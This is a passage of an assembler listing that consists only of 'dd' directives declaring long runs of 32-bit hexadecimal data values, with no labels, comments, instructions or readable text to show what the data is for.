		dd 0E402BCB5h, 8BFE30FAh, 0FD555F12h, 9A08C38h,	7038BF6h
		dd 0D670EC03h, 90FFB108h, 0AD1B81BAh, 0E4F0EB96h, 46004CE4h
		dd 0E1657B48h, 2316F82h, 0ABDE19ACh, 5040A54Dh,	1E032F06h
		dd 0EBC78FA8h, 1F2E90FEh, 0F453690Bh, 8403D066h, 0F469A5D5h
		dd 0B97801D3h, 66FC3F8Ah, 0AA64EC57h, 300A50B2h, 8CC16C5Ah
		dd 0E649B304h, 2FFAC091h, 18376070h, 20D76C42h,	0A3142028h
		dd 0F120F5AEh, 11183985h, 19862F9h, 0AA4774BAh,	0C501C43h
		dd 0FFD0BB6h, 0A646D7D5h, 0F500229Dh, 5BD32A53h, 17D52h
		dd 942CD87Fh, 986B2146h, 8CADA505h, 0C4916610h,	93F406B3h
		dd 1F31F47Fh, 3567797h,	2F1B80CAh, 20A4F5C5h, 8B012E08h
		dd 88310590h, 144A1289h, 381B7C3Ch, 92E8308Eh, 8BF81973h
		dd 0B7A20h, 8337108Fh, 9530117Fh, 0F728D000h, 20167296h
		dd 0CB306BAh, 18CD8735h, 11768600h, 1574911Fh, 0D9997420h
		dd 0D0092880h, 143A8B86h
		dd 1C7D061Bh, 7B788721h, 317B6738h, 5938FE8Ah, 8E538D21h
		dd 1254520Ch, 8A405B3h,	73882E1Ch, 8A9701AEh, 7C8C370Fh
		dd 9109498h, 0C9394E9Bh, 8F11D224h, 4C1C2D34h, 0D031971Ch
		dd 8472120Fh, 3915510Fh, 10ADAF40h, 0F1E9DAD6h,	3611130h
		dd 0BAA0B920h, 32341AF4h, 0E862585Eh, 0FC57A841h, 0C04CBA4Ch
		dd 9D7229Ch, 76474E72h,	0A7A0CC00h, 0A93103FAh,	0B6C3A9E7h
		dd 0C43A0F00h, 0EE08E09Eh, 42F50C25h, 18A1A8E1h, 406816CBh
		dd 3084B3BEh, 0E9312AF5h, 40C17B5h, 5939A7A2h, 88DA7434h
		dd 8F80CA88h, 4052F1CDh, 380D0648h, 625EFA0Ch, 0C32CB8CCh
		dd 0B78B8F59h, 0AFB43018h, 0C6181079h, 59DCF531h, 1B61B30Ah
		dd 1106C834h, 44026BAh,	49DBE3DFh, 0D064F0EFh, 38BCD82Fh
		dd 2059F29Ch, 409ED648h, 4486659Eh, 3030D236h, 25B9A4F6h
		dd 0FCABC669h, 5C5642F8h, 0AC70A95Eh, 4191AC1Bh, 8B7800AAh
		dd 47614A2Ch, 0B87B9031h, 4CCB1895h, 0B1E45F1Ah, 6982BCDBh
		dd 0DE76051h, 0E8F6F139h, 4A635BDCh, 144FB430h,	4C41B619h
		dd 0B658A52Ah, 7054CACCh, 6129B41Fh, 5E1FA43Ch,	0CA45921h
		dd 62D7466Ch, 16D4D8B8h, 6B109342h, 86D2ACDDh, 32260E23h
		dd 0D3118150h, 10ACE20Ah, 448DDEFBh, 84AE2841h,	0DAA1E346h
		dd 0B8210A58h, 7EDF4B08h, 443FBA21h, 353322A2h,	51496608h
		dd 5B25EACFh, 1A10783Eh, 84BAA250h, 116AC328h, 0F5894F4Ah
		dd 32E95011h, 0B050116Ch, 0F2C46048h, 1F34C0A1h, 60916509h
		dd 90252E03h, 40616AC8h, 0B7510884h, 0AF15CE80h, 0C8ECC1BFh
		dd 4095B458h, 9CB919ACh, 4F2BB78h, 15AE40B1h, 4CE65132h
		dd 11627003h, 4C98D850h, 49D2D635h, 11EC9808h, 0CDDF192Fh
		dd 3C5CB599h, 406F64D7h, 95B741D2h, 0E8224455h,	0C838F526h
		dd 98496CA8h, 21E11F37h, 4DF9D382h, 57443CA4h, 23B4712Dh
		dd 0C034862Ch, 50A1A7h,	0E960FB0Ch, 556135EFh, 0D4D1B417h
		dd 5DABD445h, 0D0884413h, 0FA251DB4h, 5DF6015Ah, 8399566Bh
		dd 0A41A818h, 307C3Ah, 0EDE05097h, 0F5C3A716h, 26493760h
		dd 2EE43B5Eh, 80B8222Ch, 0F65C0F36h, 0E700092Bh, 0A86A078Ch
		dd 0F2F9FA7h, 2EE923B0h, 30F2E826h, 9C0E8FF8h, 0C9CA58h
		dd 8AC79A5Eh, 2E550791h, 51B98C3Fh, 8338F6BBh, 0EE42F471h
		dd 0D5E2809Ch, 25430008h, 74705FFBh, 0A01B1B5h,	0FE87A765h
		dd 0E8910B4Bh, 0FB5700BCh, 1DEA97B1h, 0C223002Fh, 0E91F40B3h
		dd 0FF00CE7Eh, 0A7946C16h, 6448738Dh, 89F774F4h, 7A444268h
		dd 0E0E7204Bh, 0C7D837B2h, 0DF50F500h, 9E4DB0B6h, 0F0823FD5h
		dd 89D0EA00h, 7B6CDE0Fh, 7EE0411Dh, 6BE10038h, 7CEF0BB0h
		dd 0A2140654h, 7CFCF58Dh, 0DA0F8B01h, 0D5B98AD0h, 70D3EE0h
		dd 418D75DFh, 28F246D9h, 0E1107661h, 0D5F08A7Fh, 0B3F70079h
		dd 0E8BD0D7h, 3E1E7CDAh, 7F1FEDFFh, 0F66CDF01h,	8EE0E4FCh
		dd 77E01C0Fh, 0C282038Ch, 0B846E15Eh, 0A2E0BE04h, 7948E4D2h
		dd 0C2E302B4h, 96DB0988h, 0C05D7018h, 0F1DB5A11h, 591C231Fh
		dd 0A580DE9Ah, 0CBF0547Dh, 22CE3E8Dh, 423A9400h, 0EFB91345h
		dd 0BAB72E0Ch, 6140ADh,	0C13BE792h, 782AA1Ah, 0CD07D3F4h
		dd 0DB6E2B63h, 214CF3D0h, 0D81F01A1h, 1F07089h,	11A4D0F8h
		dd 0F43BA70Fh, 3D64805Dh, 0C65E18h, 73DB50BFh, 40B90278h
		dd 0CE013503h, 0E051066Ah, 60339A61h, 2EFE7048h, 40A02A62h
		dd 0DE30E1F5h, 5C76D930h, 1808DEB7h, 8921F9B9h,	0F98C0C2h
		dd 0AA7CA05Bh, 1170CADEh, 0B0EF9966h, 600D9296h, 0D3A1104Ah
		dd 2030A8D4h, 0F6C76859h, 0B1280431h, 1D83B05Eh, 0E7F8F759h
		dd 0AA948180h, 0B8EECA8Ch, 70DBA10Dh, 9C004096h, 6267D3A2h
		dd 0B7C978E6h, 0E6FD4A2h, 39088C94h, 0F1F0E89Dh, 20808284h
		dd 844960AEh, 88F888h, 2298C3A6h, 0AFD316D4h, 1DA3190Fh
		dd 9369803Ah, 19C6A283h, 89B3DEEEh, 0F04843BAh,	28AE0824h
		dd 648A76E4h, 900A6F3h,	18C50FC0h, 572CB7h, 5F291654h
		dd 0AACE21D5h, 6BDDB900h, 7FE5113Eh, 0D60F1EF9h, 62FE1681h
		dd 50C07C78h, 0B3588B7Fh, 410E7C54h, 8FADDF7Bh,	0FC7A8082h
		dd 14502220h, 44B11B17h, 60077181h, 8DB14126h, 5A045899h
		dd 297FCB3Eh, 8A00CCFh,	7D758504h, 0B74ACDB9h, 0D9A26274h
		dd 0F1B40891h, 30F00D5Ah, 0A7CAF85Dh, 4AE44A0h,	460AADF6h
		dd 33F06568h, 922FA18h,	30F256B5h, 2E59C2CCh, 8810AE52h
		dd 3A489174h, 8464604h,	5F202A7Ch, 0A7F62070h, 0BE9CC64Dh
		dd 0B7F6DD0Ah, 0D079420Ch, 50008CB2h, 9D91DBA2h, 315F28CCh
		dd 5D09C85Ch, 5B225A91h, 89595844h, 24571256h, 91554854h
		dd 44532252h, 6E895150h, 6C246F12h, 6A9F6D48h, 0AEC8BE00h
		dd 14CC7FAFh, 0F47AA9A8h, 0B3B01B8Ch, 599484A5h, 42CABA04h
		dd 0BCCE9408h, 7A18011Ch, 0AD1F743Eh, 18AC24AEh, 0B993E0EFh
		dd 1A003A78h, 6617B25Ch, 74B6045Fh, 95D1F32Dh, 0EFE394E1h
		dd 400CC6h, 0B0B83BEBh,	88B5E08Fh, 1EDAB93Eh, 0E5095F83h
		dd 7F484DB7h, 0F57F04E8h, 955F1C58h, 0E08E8890h, 8AD2AC04h
		dd 0A5FA6CAh, 5538B761h, 8C79E881h, 251086B1h, 0AF328D6Bh
		dd 28230924h, 7F042118h, 331FDC55h, 6F4365F9h, 0A0DA8A16h
		dd 0C5DEDBBDh, 2BF48921h, 1EAB8038h, 1DF12420h,	46D1601Dh
		dd 18BB0C5Fh, 9BCD3800h, 69B61580h, 0BA94286Ah,	7A37C1Ch
		dd 16183DE9h, 5F1D22A1h, 0EAE328A5h, 9ACFE470h,	4174619Dh
		dd 9F6E285Dh, 0AB006D30h, 4E97E075h, 0C37825h, 91B0A2D5h
		dd 0AD82DA11h, 8DA19E0Eh, 79D800F0h, 74B6A08Ch,	0D5FC00DBh
		dd 0D9AE7B6Ch, 0B803887Eh, 0E19F79D3h, 0F7FE083h, 7BCB3AEBh
		dd 7D75E907h, 99B033FCh, 7FE2EAA0h, 6ADE0D18h, 7C6BED40h
		dd 0D581058Ah, 27DFFBF0h, 6AE4C040h, 0D90EFEF7h, 819D5E6Dh
		dd 0DA0D7B84h, 9882304Dh, 79E3B2F2h, 7FD81C98h,	3BDAB320h
		dd 0F08F73E1h, 0F26AE50Dh, 55EC6860h, 0A4E8B297h, 0F34CAB83h
		dd 5C8D65A1h, 0C4BFDF18h, 4B8601A4h, 88DC32Bh, 0F12C5CE4h
		dd 0C4DA0F28h, 0BF240E1Fh, 0C272A502h, 0E138B1A2h, 3B0D4F0h
		dd 0F18477A5h, 29A5D5FFh, 0B1401C14h, 20A5A200h, 0DFB599D5h
		dd 737F748Eh, 82F8A872h, 2909138Dh, 0EB9C2AADh,	0CB8DAE00h
		dd 0DEA19CAAh, 8AD2911Fh, 730E3B01h, 0EBD0876Bh, 34F34C79h
		dd 0F7AD509h, 0E48600AEh, 0B70928D4h, 20A58DB9h, 67E00A98h
		dd 734D0448h, 0FAB88C7Ch, 750F01Bh, 6C19E128h, 0C9EE84A2h
		dd 0A56C4020h, 0F7367EDAh, 0AC50080Bh, 4F4D0C74h, 0B7906C21h
		dd 0D0751CB9h, 0F4E19DABh, 0D02F182h, 0FD8ECA17h, 986555D5h
		dd 3E0558AAh, 8875E4FDh, 0C1C25483h, 0D03082B1h, 0C4DA3C0Eh
		dd 83D5B40Ch, 694CE440h, 6D160EC0h, 0D0EB00F6h,	0E9E9B287h
		dd 790010BAh, 7CD61454h, 0E016B8F3h, 701C8D75h,	0FC0F8AD3h
		dd 0E74104B7h, 0DDB4A080h, 0EB10C66Ch, 0D9246078h, 5830AC75h
		dd 4A81B88Ah, 60D8AC79h, 7FEE4140h, 0DED6E88Bh,	25A72CC8h
		dd 60B5D454h, 0A09426FBh, 56E3B825h, 0A5FE7DD0h, 8E8001F8h
		dd 76D0E0FCh, 0AC212ED4h, 7D16FD05h, 0F0F3608Ch, 0B67F01E2h
		dd 0C8DD0D9h, 4AB827E5h, 0DEF2B0B8h, 0C3551C62h, 0E6B2A084h
		dd 41F00F79h, 309865D5h, 0B9128A7Fh, 72AA7ED9h,	0C7BB070h
		dd 0ADABD85Fh, 0C4D3FC2Ch, 0F9827985h, 385BB487h, 9B7DD0E4h
		dd 28F160Ch, 7A80EA98h,	0D279DCC1h, 28A6D843h, 7B586BF8h
		dd 1C0692C4h, 2C097FD0h
		dd 29C4B28Dh, 50994FE4h, 16C0646Bh, 5CB8503Ch, 0DFA80E20h
		dd 0D9189F69h, 0F87FEB69h, 5C8274FEh, 0B285208Dh, 212C2DE3h
		dd 801CF33Ch, 0E5138A6Bh, 9808340Fh, 0FD441F8h,	0EA11F37Fh
		dd 1721B098h, 0D9AF5014h, 50059218h, 58B64167h,	3E3BE0FAh
		dd 43056CCh, 7F54B0EFh,	5F880150h, 2EB5969h, 0E8FEE06Ah
		dd 0C51C5752h, 183A6B18h, 0FA6E8300h, 0FDF967FFh, 6A53CDE4h
		dd 4BBC68h, 0E9F40B58h,	0E7F55A67h, 0FA0ECD1Dh,	98156540h
		dd 8659D6F9h, 0ECC95B62h, 2C50A058h, 0E8358BEEh, 6C69015Ah
		dd 671BFEF5h, 59CFD4F4h, 6339FAF8h, 5A0D9D6Ah, 0CDFFF303h
		dd 58F9819Eh, 1DFEF0D0h, 0EF68D4h, 0ECEEF73Bh, 0F5F61078h
		dd 0F60F6907h, 8E5801h,	0F36C5C4Bh, 1259010Dh, 0E7C50EFh
		dd 0F278D193h, 9E699C80h, 0D463F8FDh, 87665821h, 805B5CC3h
		dd 1810CEF6h, 98D3ED2Ch, 151769FDh, 990EF9FEh, 99681895h
		dd 5D700A5Bh, 14800DF6h, 3ABB34FAh, 5D589C89h, 608AFA0Ch
		dd 5BD429EAh, 0C0007468h, 25DC6FD8h, 1CA505EBh,	0C71AEAD3h
		dd 0A060FDD1h, 0D77CFC24h, 7819960Eh, 1E1D80B3h, 0CEA25DAh
		dd 12EC1C8h, 1007FD21h,	0FF9C0C4h, 2072F40h, 74C270A8h
		dd 0EAD20C05h, 2860C601h, 0FD29B975h, 0C8833802h, 0A121E6CBh
		dd 3F0C0B7h, 0EF9638DAh, 202AD318h, 0EC0EDED7h,	80D1EB1Eh
		dd 0B824D901h, 0D3D03A14h, 2FDA0403h, 0B6A105EEh, 0C0EBF00Bh
		dd 0D77FEC1Dh, 0D501193Eh, 0CFC96928h, 0F8DA65D0h, 0A81E1C07h
		dd 0DC010CDDh, 0C2F60520h, 0D509EA1Dh, 0DE03873Dh, 0E80CEC96h
		dd 0D31E0EFCh, 8880FDDCh, 0B56108F7h, 8C1080A2h, 0F10FA8D6h
		dd 7DE02F9h, 2F91C8ECh,	0E6F10406h, 0EB88D8B0h,	0C074D91Fh
		dd 25B5C806h, 78401406h, 2ACA0104h, 0C1DD0F07h,	40B8E1C6h
		dd 0D3C50980h, 7F26C40Ah, 63BB0D2h, 0A814FBD7h,	0D90A1B60h
		dd 0CFDFD0F6h, 0D19E1F03h, 2CA87DC0h, 14C2E9C8h, 288158C5h
		dd 0D0D8B688h, 8C6B074h, 0E30E185h, 0C8C4DFDAh,	1F00F454h
		dd 18E8D7A8h, 0FB212FDCh, 78D19409h, 6C3DA83h, 2042C7A2h
		dd 0F996C803h, 0EA2FA6E0h, 0D766147Ch, 80C0BFE8h, 0AAFD24F0h
		dd 0F5041744h, 0AB400E9h, 98F9DDC4h, 0FFA00DCh,	0D8D3DE01h
		dd 88E034A7h, 17F7A101h, 297622CCh, 65507EF0h, 819641B1h
		dd 600FA2F8h, 303374BBh, 0B9081Fh, 0EF0AF021h, 257955C6h
		dd 64A55600h, 626D23ABh, 600FF4EBh, 0A7FE91DAh,	34073121h
		dd 0DE857EC8h, 5B8FC7C0h, 37784Ch, 0C2882AE6h, 9A578D1h
		dd 0B0509B3Fh, 33F368B2h, 7E2C0054h, 0DCAC658Dh, 2A00CB6Eh
		dd 70126149h, 639C1BF5h, 14D82023h, 4F0BE7D9h, 13AD1120h
		dd 94239B81h, 9CE70031h, 39B76F76h, 213C84h, 1B9DEB63h
		dd 82E50B0h, 51800003h,	2C0FD447h, 0D8CE7098h, 0E697E5AFh
		dd 0EDB7A802h, 6550B121h, 1E48A700h, 9590DB55h,	0B26C7E98h
		dd 40F0287Bh, 44363BFFh, 778D7805h, 0E9C0ADFEh,	6892CF1h
		dd 84A83C4Dh, 0EF7868DEh, 856571FAh, 0F42F2811h, 3D03BC23h
		dd 3D2381B5h, 0CD004981h, 9C4B86B3h, 7102FFC4h,	0F86A8BF4h
		dd 0ABEC82A7h, 0E1C32284h, 20738C84h, 0F7B83FECh, 0D10CA447h
		dd 540B0088h, 0DEA6166Bh, 0F92B2593h, 39101C10h, 892B3018h
		dd 0B00EF9Dh, 56763B3Ch, 39A0778Ah, 85A835E9h, 0FFA10C80h
		dd 9240DBC3h, 75184D14h, 5918F84h, 8006F8Ch, 7C10BD6h
		dd 30C36143h, 430874F8h, 40C4B8C4h, 34327315h, 647949E4h
		dd 8A1C400h, 3376FD7Fh,	6D234CA4h, 1C311439h, 8023A7C8h
		dd 0C1174588h, 70590123h, 0AE22B860h, 170ECDBh,	6761FE35h
		dd 9859B294h, 1821CE09h, 0CB350C78h, 8398D8DCh,	0F6471C44h
		dd 0D95E1862h, 0A966B0ECh, 0A62D1105h, 0C804F53Bh, 43408453h
		dd 8E209796h, 0C3C4E71Fh, 9E8F3ADEh, 0B0A40F6h,	0AFB01E45h
		dd 0DC556F90h, 81592CC0h, 2098344Bh, 0FB6D204h,	0C8907580h
		dd 19BF5A8h, 0BCDAF373h, 98F20B24h, 0B1216408h,	0DE9B0AFDh
		dd 60A053h, 0CEDF0482h,	0DA1C713Dh, 0C11D47BEh,	0FDE910C0h
		dd 30780134h, 0FB31A253h, 330EC5E3h, 81E749E8h,	74B98229h
		dd 2E272E4h, 304C54B1h,	9484FFEEh, 0C468CF43h, 3C7E8D38h
		dd 79E04238h, 492D906h,	0CF4C630Ch, 1D07908Bh, 0FEAC6004h
		dd 0C810E8h, 3336FA25h,	50C2C3C8h, 0A077810Bh, 0DA0EF5A8h
		dd 2E3A00DFh, 3F837248h, 0AB309C60h, 554040B5h,	6394282Ch
		dd 52A63A80h, 0F02E5576h, 64615C40h, 991F31A4h,	20664930h
		dd 48CA664h, 61F43572h,	20CD6217h, 99357A1Eh, 0C981D090h
		dd 0D7CC20C9h, 3D165BECh, 6004F85Fh, 8602E01Fh,	6890DD37h
		dd 0F718210Fh, 2F20D5EBh, 6474F6DEh, 60A58827h,	24F93577h
		dd 70A86F61h, 35007F1Bh, 79AD9BCAh, 9893A21Eh, 0A8D04014h
		dd 0EA29E360h, 3AF9817Ch, 0A3007AAEh, 0BBDC83Fh, 8D4CBC5Ch
		dd 0E7CF0448h, 560EE58Bh, 5E0794B4h, 0B80BA460h, 238E5309h
		dd 90771B48h, 34213CDh,	5C4CC1E2h, 482C9938h, 0A808506Fh
		dd 0C0003824h, 0A63726D8h, 0C3684B0Fh, 0D86AD061h, 799F5182h
		dd 1810440Ch, 790F9DC1h, 443033FFh, 663150D6h, 3B977DEh
		dd 340F3893h, 4840657Ch, 0D340C7B8h, 0F84D19E8h, 0F1EA186Dh
		dd 0CB00F6A7h, 1D0FB63h, 23F6D4AFh, 4C927109h, 0F1041898h
		dd 65BF3919h, 0D088108Dh, 77093C78h, 0B0084FBh,	0F49BF961h
		dd 448CFAF3h, 0E10FB560h, 817A909Bh, 0BF3C812h,	8090A9DEh
		dd 0D9D6298Ch, 0E4DF34ADh, 9BE40470h, 48A88109h, 5EC3042Fh
		dd 0A80267E7h, 5821D02Dh, 0A5109ED7h, 0B605E67Bh, 976C3589h
		dd 8D6400F8h, 24B85696h, 0C1C32F90h, 8BF4754h, 2C3C03D9h
		dd 79057821h, 0C440E108h, 0D329A9F8h, 91420084h, 0B21C9D37h
		dd 91CF46Ah, 0C2141BFDh, 28249E8Ch, 61103418h, 0C0BDFEA4h
		dd 0FED64350h, 9A171950h, 6461A5E7h, 0F9023F94h, 63CED4B0h
		dd 0B8939C18h, 7C50D040h, 0ECF2492Ch, 1D24818Ah, 47354256h
		dd 0EC4C10AFh, 810E848h, 888492CCh, 0D018E243h,	42081BB1h
		dd 853B10D8h, 0C8541862h, 0B1C0B008h, 40446409h, 0FD070A74h
		dd 79F0366h, 0B3055A43h, 0C098E408h, 7AD82E29h,	0EF16C068h
		dd 18E70FAEh, 0ECC88BAh, 380066FAh, 1E30222h, 60532609h
		dd 78E12189h, 0DA0EBC64h, 64753CDEh, 9098B859h,	47AC2661h
		dd 1B858284h, 0D090D5A8h, 8E4D09D6h, 76A600FCh,	645C0FA3h
		dd 80D0C567h, 0FEA8407Eh, 0FB8668E8h, 0F32BB900h, 80817838h
		dd 54DC9A1Dh, 2BA99433h, 1DCE203h, 774DC1DEh, 43111080h
		dd 284529BAh, 18B47984h, 0D4901DDBh, 0D0B3C349h, 0AC0D1B0h
		dd 0A9C07380h, 6C3002C0h, 24D30B57h, 0D40022ACh, 11E942F2h
		dd 349710Ah, 293F0A8h, 0B906F06Eh, 7170807Dh, 520D5500h
		dd 19CE1362h, 3BBCAC77h, 659456FEh, 3700B476h, 0F30CA80h
		dd 6E4CC02Ch, 0BDB78450h, 98994D09h, 6C9C206Bh,	9AC0C841h
		dd 5FEE0242h, 0D853F720h, 810C9865h, 77A9178h, 0F4536BC3h
		dd 0ADC51025h, 36389F4Ah, 3A1014D4h, 0FD588050h, 28B55F3h
		dd 4E943BA9h, 43C9F0h, 2097FB2h, 469954F8h, 0FB53C78h
		dd 70726C90h, 66244C09h, 980844Fh, 719BFF60h, 11CAF323h
		dd 0E7CB0063h, 0FBA5C19Bh, 8C6C161Fh, 40007055h, 6493B509h
		dd 0A2DBB485h, 26C0D088h, 435C674Dh, 0FE45C33h,	0EC401681h
		dd 8BFD3887h, 48A95928h, 74826589h, 30E33A4h, 0AC0D301h
		dd 0C44BE752h, 0FC150B0h
		dd 18CBF2B8h, 87901A04h, 91A94EF8h, 0AF08CE1Ch,	8C0EE441h
		dd 80CF6D88h, 0FF6B6304h, 0F50503C9h, 0ADEB07A1h, 55888005h
		dd 648A7EDCh, 0AAE7F309h, 23FD8090h, 0E12E6C36h, 334002B4h
		dd 0DF2B0FC6h, 0EFA170B0h, 40D76F21h, 37E726A7h, 0FC244779h
		dd 6603A00Eh, 1267A1E6h, 408F5069h, 0E01D78D0h,	0E53BF14Dh
		dd 0E1F78530h, 0D849B755h, 882C02A9h, 0C3080465h, 0D8A5723Ch
		dd 0FCA01B80h, 6600EDADh, 1A1D6DD0h, 305D8748h,	0A9909FA0h
		dd 0F2148141h, 806060B3h, 80E78806h, 0C8FCA82Fh, 107100A3h
		dd 0DC92BCA1h, 8CCB4A9h, 9692134h, 78B971BBh, 2316D881h
		dd 944320Bh, 30879136h,	8E8593Ch, 371BBD4Bh, 6AA9F900h
		dd 5CA040FFh, 9C417AF7h, 78A568F8h, 97EC0008h, 23D88D78h
		dd 59DCAAF4h, 787B26BCh, 84EF17C2h, 78D8F78Ch, 30CD89B8h
		dd 0FA78BD85h, 507627Dh, 0FDF79C73h, 8763B40h, 6C48284Ch
		dd 34784880h, 0F4010E23h, 0C2F3729Bh, 0B6886218h, 0FB9B1CFCh
		dd 6BF0C083h, 2081A8DBh, 879890ABh, 8D0065BCh, 13054F5h
		dd 80E1AE8Bh, 0D100E6B6h, 5A48DAC6h, 1722C8DCh,	49FF0FA7h
		dd 0AC8DF644h, 7CA8E090h, 0A0F4E68Ah, 8B9123E4h, 4037E8A9h
		dd 0EC4532B4h, 8C021C26h, 11DC830Bh, 13187F98h,	0FADEF0Ah
		dd 0F1709C17h, 0EEF000Bh, 39C95548h, 0B512C1B2h, 0C85E8A17h
		dd 336E36C0h, 0A080E4EBh, 9876C950h, 1425027Ch,	0E8D32345h
		dd 0F08566C2h, 2E08416h, 0A84C5648h, 0FCA72469h, 804C9B09h
		dd 472B81C0h, 0CCC03581h, 0CAD50077h, 64E3325h,	94E147Bh
		dd 3B7D5820h, 725F0018h, 0DF87CBCh, 0AE092BF1h,	0C5714F39h
		dd 31BF4454h, 80A071F8h, 0D43B209Ch, 7F540409h,	9150ED10h
		dd 9C20433Bh, 19217D1h,	0AEE65978h, 27043C9Eh, 602E50h
		dd 37435193h, 39C6005Ah, 38826D5Dh, 1C0AF2E9h, 948E3268h
		dd 0D8AEEB63h, 78EC0DA4h, 3DBF0335h, 0B4679526h, 38A32CF9h
		dd 0A26C53F0h, 98423061h, 0E5586012h, 4C42208Dh, 4F8CCA1h
		dd 61F53573h, 0C0A4B20Fh, 5A357B1Fh, 184158A8h,	3C3A5011h
		dd 4A4E81E9h, 0BA7F0FA6h, 0A8CCA801h, 92009739h, 0D37EAE85h
		dd 0FAF75Ah, 6398AF8Ch,	0EDECD2F4h, 1AADF525h, 0A18840BCh
		dd 6BF7139Dh, 0E21092B2h, 34363860h, 0FA087302h, 8B0B9B78h
		dd 0A9302099h, 0C412EF22h, 0C0763E38h, 96632D0Ch, 0B50F7919h
		dd 88628091h, 0B0C10200h, 0AFE9B977h, 6F21C963h, 66AD048h
		dd 0A4EA26A6h, 408E01A0h, 0F4CF81BAh, 3108761Eh, 132B4CB6h
		dd 88488B02h, 0EC91C0D1h, 0AC2EBE2Eh, 58002CBFh, 3FF9513h
		dd 98924C53h, 0A3900805h, 1FA081FCh, 9F462BDh, 64F3B5AAh
		dd 0BB1881FCh, 8091EC20h, 0D8591BF3h, 135B0E24h, 0A5E78274h
		dd 0C1544AA8h, 8015ECA8h, 9F801ACCh, 0B69CA503h, 138B2AC9h
		dd 21057929h, 0C9B5DB54h, 0C80405EFh, 234220B0h, 0EC6AE0F7h
		dd 0BD7950D1h, 71023B18h, 0DBE7CF0Bh, 0F0F88AE4h, 0A7883F04h
		dd 0B80C7903h, 88E88941h, 423FFC80h, 920A0F4h, 17F7EB8Bh
		dd 2722C027h, 2C0FC000h, 54BAAA38h, 9779FC27h, 80D29124h
		dd 3306EE4h, 5038E28Eh,	83CBA4F3h, 8674EEE0h, 8CAB5C27h
		dd 46DF88C4h, 640904E5h, 0A8008A38h, 3B72300Fh,	34D020D0h
		dd 0A0B2296Ch, 273164F2h, 1F122076h, 20CC9381h,	4DD1B4E8h
		dd 0E8141006h, 918C50h,	77370A15h, 815E8BC4h, 0AA00F870h
		dd 0C07A52ADh, 94A807FFh, 107D51B0h, 1EC0BFA1h,	4212558Eh
		dd 0E5B01FFBh, 0D712DC4Ch, 0B8402180h, 0B3C57B1Ah, 503F006Fh
		dd 79082689h, 0E80F71FCh, 0C99C625Eh, 0EB300286h, 70C85AD7h
		dd 402F9789h, 6D953700h, 323C2C1Bh, 540B1FD5h, 88409197h
		dd 7C4BBE6Ah, 2EE106ABh, 0E9885018h, 234F900h, 7C5B6EA7h
		dd 64A8035Ch, 0DE0BEFA0h, 70F8A834h, 6688B08Eh,	9E02D2C0h
		dd 3D890459h, 81DE3753h, 44CA50CCh, 88B48EC4h, 2947C0CDh
		dd 70120B05h, 7E135B65h, 0A323FC2Fh, 63E70100h,	3236A2E1h
		dd 0AF984F79h, 3E80C8E8h, 17801094h, 0B4D4F150h, 0E99401A6h
		dd 26052718h, 0EE7BF420h, 0C1D6BB02h, 68896B9Dh, 40443B30h
		dd 730CF91Ch, 0C1CBAEB8h, 8BD50064h, 38760BA6h,	500EF6Ah
		dd 15A29197h, 69DE2BBh,	6485CF56h, 0A9008125h, 0F0588A33h
		dd 565F974h, 0CB4171A4h, 0D894C22Ah, 97B4F2Fh, 0E7489009h
		dd 2E41DEAAh, 0C5203A9Ch, 8B9C6309h, 7254A090h,	0A87B80E7h
		dd 0CC17D8h, 27F8E55Ah,	79F48725h, 5E1F55E8h, 0B79C2C8Ah
		dd 0A9E263C0h, 0F09DABE1h, 0A348CA96h, 83138C0h, 72B1D271h
		dd 91C070ECh, 8DF79C58h, 1AE8906Ah, 10B477E7h, 0CE51C852h
		dd 0C49839BCh, 68815F2Eh, 8065764Dh, 4CD4E83Dh,	61900593h
		dd 978C125Ah, 8CAAE83Ch, 0AF822214h, 0C38F82C4h, 0BA3E0ABh
		dd 0F3E7003Ah, 11691EB4h, 0F700A33Bh, 36B92072h, 308FA775h
		dd 8538AE66h, 0ACA8D75Bh, 48050B0Ah, 34933FBh, 0ADC16001h
		dd 5829B2DBh, 18313410h, 0FD391D81h, 1D36FEF7h,	409C9518h
		dd 0F44375D7h, 71495352h, 5C0F0984h, 9328A1D4h,	0E428BD07h
		dd 0C035B206h, 0E716196Dh, 148ECD1Bh, 6AC0BEC8h, 0B0138A24h
		dd 3FDC2788h, 829374A7h, 880204Ch, 0D9B40B95h, 0A0752A80h
		dd 0C09862B8h, 5E50F808h, 71043F3Bh, 3E343385h,	60067C92h
		dd 3047FCA0h, 0FD488F13h, 0DF40A423h, 78EC0158h, 4D365C04h
		dd 7A9C30A6h, 7D519E88h, 8E63000Bh, 1B178C6Bh, 0FF009911h
		dd 0B73BBD35h, 0B180082Fh, 1E12001Ch, 343AEBECh, 6FB46017h
		dd 55A90CC0h, 9AA4604Ch, 30FA1DEh, 3205A8BCh, 9C829273h
		dd 0B5C1223Ch, 0B021ED8Bh, 20A15515h, 78EA3E34h, 932F9C92h
		dd 65F81A89h, 60D3C490h, 3A7E1A48h, 0A50701C4h,	692A1C26h
		dd 27592C02h, 50D40310h, 9B7A0F3h, 8493944Dh, 61855CC0h
		dd 48A62944h, 231FBC21h, 0AFF860F2h, 0E471DD60h, 1880B78Ah
		dd 2830A71Ah, 4B24F721h, 504C18C9h, 60849CFCh, 0A11171AEh
		dd 3122C446h, 71A66A00h, 24CF4415h, 407C5893h, 12689D2Ch
		dd 0E15043B9h, 31383980h, 0FD5E1F5Bh, 0F31CF480h, 13723Ah
		dd 99E758DCh, 8B53DBD8h, 2520B9C0h, 169F8Ah, 0D5CE43AEh
		dd 0B2FCB4F9h, 0FD731204h, 0C0F0941Bh, 0E1B8C808h, 1271ADC0h
		dd 22AC46A1h, 0A56F203Ah, 309F3B2Eh, 0A0337C12h, 0D703A433h
		dd 1FC2A1F8h, 48E8B0D0h, 8C52F702h, 487F81F9h, 0FD5C34h
		dd 67BF0FA7h, 6B2CACE1h, 823B8000h, 49935BD7h, 0F5D3485h
		dd 0BFAC8C79h, 70058200h, 0A58EEDFDh, 9EA4007Dh, 0EAC01461h
		dd 90C1288h, 98660C4Ch,	3FF0976h, 3C2195BAh, 32EBAFB4h
		dd 4849197Ch, 303CFE19h, 2CF05604h, 0A074D202h,	7C82AD42h
		dd 1C449E6Ch, 298FD56h,	0A11671A9h, 133631CCh, 8671E86Bh
		dd 9E8402DEh, 0D6C3E555h, 8740905Ch, 0CB01C5h, 0E213EDB5h
		dd 0BBCD82DDh, 2823BC02h, 64F7A1F9h, 98180458h,	0D480D2D6h
		dd 0B099842Ch, 9C146154h, 746C822Bh, 15F89740h,	0C46F0F21h
		dd 0F04C0A06h, 904C8ABh, 286585B8h, 0B2D29540h,	0CF794DC3h
